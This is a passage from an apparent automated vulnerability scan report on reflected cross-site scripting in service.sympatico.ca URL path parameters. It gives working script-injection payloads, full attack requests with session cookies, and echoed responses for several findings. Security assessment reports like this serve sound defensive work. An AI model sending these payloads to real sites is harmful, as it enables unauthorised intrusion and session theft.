NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:18 GMT
Connection: close
Set-Cookie: SMSESSION=i0EhnpQXknfbvgKWBIlUTo57Wp7ry6YpezhfndJsjMCVX2gaQ1W+c6pIYThvyPUZLEqY/LmkRy7o5zbm0J1yb6onZm57N2+B6+QWZOZmKVk+ptzV2glts3y+4Xs9mO45z6XQKGvg/S+zdTXz0L2cLL1+pNVsUYlnHcfXqjht93GJNS05nwoHnm8W3IhG3u4CwlE/MSQDS5SojCvRzKbxyeCskp7+UE0Ia0UxyBJRcAqamSHKghBAMdPtHck68mP4DA0N6AglcKmqiae+69gL7RVgNrB7PjaoRM98Ohx/i//fYBa9s3zbVA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:19 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:19 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:19 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:19 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:19 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:19 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
x.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavBundles.png?e4af7"><script>alert(1)</script>4aefcc159b8=1" />
...[SNIP]...

2.144. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavFaq.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavFaq.png

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d5096"><script>alert(1)</script>6af1b2bbe8f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3Cd5096"><script>alert(1)</script>6af1b2bbe8f/images/icons/vi_topNavFaq.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:46 GMT
Connection: close
Set-Cookie: SMSESSION=TgMWiMpElufCP6ziqPM/xpHUgNSOD7WYXIDTYcSAFk4pWy3POn16KDs++aSID+/+iImkiyANkQ6uLyAc1/RjkFlJoR/ZdDW+K6P7frQoGuImgyplfhrDnPFsqDwlSOTJdiUQDFQV8ses2ubu67kZ/37dPgN0YKz1FNqyaT59P458ehUUzQSXb8K8xvvH+TsG5GaKoQSzDByyfY2E1wgv/FhYXp1MVVtnfHfJLTlvwPUXvQDij+MoZtNtwq6/8DTDILDP/8WY9aB4uFbQ0fd1EH+HP9uUrEk9VZHNlDWTT9mCGeOl8ieTcQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:46 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:46 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:46 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:46 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:46 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:46 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:46 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:46 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:46 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:46 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:46 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:46 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:46 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:46 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3Cd5096"><script>alert(1)</script>6af1b2bbe8f/images/icons/vi_topNavFaq.png" />
...[SNIP]...

2.145. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavFaq.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavFaq.png

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33bec"><script>alert(1)</script>661ee1ccd7c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images33bec"><script>alert(1)</script>661ee1ccd7c/icons/vi_topNavFaq.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:55 GMT
Connection: close
Set-Cookie: SMSESSION=GGz3awgUNcex8WpVGdjD2CNhiG0U4MxZmeJmv7Uwn2WugjRiGXuFGCuCGX7AEc1h9jOyKxsHv5s7wQSLY70CWXiIu7hWonxCUhIxpjpuHXAdCUEFgbhPf0gBaKjzD9WLcD71I6P8C4/NeOiDLrfjf3FPxFDGiaX6TW/wzpnq2+lSUT+AGqUf0DCtaXAZSPMnM+hWNWCkb11oEj67pw3TDbW9q+P1ndIhd+jER3Y+eTBUdd321SBRj0VV40emPjcni2V4SIFI8i/nhGxxSwb5Pk5qrtvA57eXPL/BMTUkMLE7zpyucBObmA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:56 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:56 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:56 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:56 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:56 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:56 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images33bec"><script>alert(1)</script>661ee1ccd7c/icons/vi_topNavFaq.png" />
...[SNIP]...

2.146. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavFaq.png [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/icons/vi_topNavFaq.png

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a8bda"><script>alert(1)</script>2251eb549a7 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/iconsa8bda"><script>alert(1)</script>2251eb549a7/vi_topNavFaq.png HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
